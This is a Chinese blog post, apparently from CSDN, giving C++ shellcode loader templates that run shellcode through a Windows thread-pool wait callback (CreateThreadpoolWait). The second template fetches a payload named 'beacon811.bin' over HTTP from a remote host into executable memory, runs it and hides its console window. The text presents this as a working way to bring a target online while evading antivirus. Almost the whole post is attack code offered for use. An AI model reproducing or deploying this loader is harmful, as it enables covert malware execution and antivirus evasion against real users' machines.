线程池等待对象回调函数执行(CreateThreadpoolWait)

最初始的模板

#include <stdio.h>
#include <Windows.h>
 
int main() {
    unsigned char buf[] = "shellcode";
 
    /*
    * VirtualProtect是Windows API,用于修改内存访问权限
    * 参数1:指向内存的指针
    * 参数2:内存大小(以字节为单位)
    * 参数3:新的访问权限
    * 参数4:用于接收修改前的访问权限,NULL表示不需要接受(但是会出错)
    */
    DWORD oldProtect;
    VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect); // shellcode内存后修改为可读可写可执行
 
    /*
    * CreateEvent是Windows API,用于创建一个事件对象
    * 参数1:安全属性,NULL表示默认
    * 参数2:是否手动复位
    * 参数3:TRUE表示事件对象的初始状态为有信号状态,否则为无信号状态
    * 参数4:事件名称,NULL表示不使用名称
    */
    HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);
    /*
    * CreateThreadpoolWait是Windows API,用于创建一个线程池等待对象
    * 参数1:回调函数指针
    * 参数2:回调函数参数
    * 参数3:线程池回调环境
    */
    PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)(LPVOID)buf, NULL, NULL);
    /*
    * SetThreadpoolWait是Windows API,用于向线程池中添加等待对象
    * 参数1:线程池等待对象
    * 参数2:要等待的内核对象句柄
    * 参数3:等待超时时间,NULL表示无限等待
    */
    SetThreadpoolWait(threadPoolWait, event, NULL);
    WaitForSingleObject(event, INFINITE); // 等待事件对象执行完毕(状态变为无信号),事件对象执行会执行回调函数buf
    return 0;
}

然后我们写成远程加载的方式

#include <stdio.h>
#include <Windows.h>
#include <WinInet.h>
#include <string>

#pragma comment(lib,"wininet")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")

using namespace std;

int main() {
    unsigned char buf[] = "shellcode";

    void* exec;
    int payload_len = 280000;   //shellcode大小  

    wchar_t host[] = L"xx.xx.xx.xx";   //远程下载的主机的ip
    WORD port = 8000;   //端口
    wchar_t path[] = L"/beacon811.bin";   //对应的文件

    HINTERNET session;
    HINTERNET conn;
    HINTERNET reqfile;
    DWORD nread;

    exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);   //申请内存

    //使用默认设置创建会话
    session = InternetOpen(L"Mozilla/4.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);

    //连接到目标主机
    conn = InternetConnect(session, host, port, L"", L"", INTERNET_SERVICE_HTTP, 0, 0);

    //创建请求
    reqfile = HttpOpenRequest(conn, L"GET", path, NULL, NULL, NULL, 0, 0);

    //发送请求并读取响应
    HttpSendRequest(reqfile, NULL, 0, 0, 0);
    InternetReadFile(reqfile, exec, payload_len, &nread);

    std::string Content(reinterpret_cast<const char*>(exec), nread);

    /*
    * VirtualProtect是Windows API,用于修改内存访问权限
    * 参数1:指向内存的指针
    * 参数2:内存大小(以字节为单位)
    * 参数3:新的访问权限
    * 参数4:用于接收修改前的访问权限,NULL表示不需要接受(但是会出错)
    */
    DWORD oldProtect;
    VirtualProtect((LPVOID)Content.c_str(), Content.size(), PAGE_EXECUTE_READWRITE, &oldProtect); // shellcode内存后修改为可读可写可执行

    /*
    * CreateEvent是Windows API,用于创建一个事件对象
    * 参数1:安全属性,NULL表示默认
    * 参数2:是否手动复位
    * 参数3:TRUE表示事件对象的初始状态为有信号状态,否则为无信号状态
    * 参数4:事件名称,NULL表示不使用名称
    */
    HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);
    /*
    * CreateThreadpoolWait是Windows API,用于创建一个线程池等待对象
    * 参数1:回调函数指针
    * 参数2:回调函数参数
    * 参数3:线程池回调环境
    */
    PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)(LPVOID)Content.c_str(), NULL, NULL);
    /*
    * SetThreadpoolWait是Windows API,用于向线程池中添加等待对象
    * 参数1:线程池等待对象
    * 参数2:要等待的内核对象句柄
    * 参数3:等待超时时间,NULL表示无限等待
    */
    SetThreadpoolWait(threadPoolWait, event, NULL);
    WaitForSingleObject(event, INFINITE); // 等待事件对象执行完毕(状态变为无信号),事件对象执行会执行回调函数buf
    return 0;
}

在这里插入图片描述
运行成功上线
需要单独使用的话套用811版本进行修改即可免杀

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值